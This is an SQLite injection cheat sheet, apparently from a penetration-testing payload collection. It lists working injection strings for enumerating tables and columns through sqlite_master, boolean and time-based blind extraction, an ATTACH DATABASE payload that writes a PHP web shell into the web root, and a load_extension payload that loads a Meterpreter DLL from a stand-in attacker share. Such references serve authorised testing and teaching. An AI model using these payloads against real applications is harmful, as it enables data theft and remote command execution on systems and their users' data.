SQLite Injection

SQLite comments

```
--
/**/
```

SQLite version

```
select sqlite_version();
```

Integer/String based - Extract table name

```
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 's
qlite_%'
```

Use limit X+1 offset X, to extract all tables.

Integer/String based - Extract column name

```
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NO
T LIKE 'sqlite_%' AND name ='table_name'
```

For a clean output

```
SELECT replace(replace(replace(replace(replace(replace(replace(replace(re
place(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(s
ql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),
"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sql
ite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AN
D name ='table_name'
```

Boolean - Count number of tables

```
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name
 NOT like 'sqlite_%' ) < number_of_table
```

Boolean - Enumerating table name

```
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_nam
e not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
```

Boolean - Extract info

```
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and
 tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
```

Time based

```
AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
```

Remote Command Execution using SQLite command - Attach Database

```
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--
```

Remote Command Execution using SQLite command - Load_extension

```
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');-
-
```

Note: By default this component is disabled

Thanks to

Injecting SQLite database based application – Manish Kishan Tanwar (https://www.exploit-db.com/docs/41397.pdf)